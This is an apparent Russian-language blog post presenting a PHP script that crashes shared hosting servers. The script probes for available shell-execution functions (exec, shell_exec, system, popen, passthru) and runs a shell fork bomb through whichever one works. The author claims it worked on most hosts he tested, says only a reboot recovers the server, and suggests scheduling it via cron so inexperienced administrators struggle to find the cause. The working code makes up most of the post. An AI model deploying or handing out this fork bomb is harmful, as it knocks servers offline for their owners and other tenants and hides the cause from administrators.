Вешаем сервер через PHP

в 15:40, , рубрики: php, метки:

Вешаем сервер через PHP
Здравствуйте, уважаемые хабра-пользователи. Довольно давно я написал PHP скрипт — fork-бомбу и начал его тестировать на различных серверах/хостингах. На моё удивление, скрипт работал на 90% протестированных мною компаний. Я отписал об этой баге во многие компании, но прошло уже много времени, а она до сих пор актуальна.

Как работает скрипт

Для начала, мы проверяем, какие из нужных нам функций доступны на сервере. Всего их 5:
exec, shell_exec, system, is_resource, passthru.
Описывать каждую функцию я не буду, если Вам интересно, я оставил ссылки на них.

Далее мы просто выполняем форк-запрос через функцию, и если сервер уязвим, то ему поможет только перезагрузка.

Чем это грозит

Мало того, что скрипт вешает сервер, его можно поставить по крону и неопытный администратор будет долго искать причину, почему его сервер падает сразу после загрузки. Опытным это проблем не доставит, но все же не приятно.

Сам скрипт


//Функция тестирования
function TestFunc($in)
{
    $out = '';
    if (function_exists('exec'))
    {
        @exec($in, $out);
        $out = @join("n", $out);
    }
    elseif (function_exists('shell_exec'))
    {
        $out = shell_exec($in);
    }
    elseif (function_exists('system'))
    {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }
    elseif (is_resource($f = @popen($in, "r")))
    {
        $out = "";
        while (!@feof($f))
            $out .= fread($f, 1024);
        pclose($f);
    }
    elseif (function_exists('passthru'))
    {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }
    return $out;
}

echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка

Заключение

Внимание, Все операции вы выполняете на свой страх и риск! Статья написана для ознакомительных целей.

Автор: AlexanderPHP

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js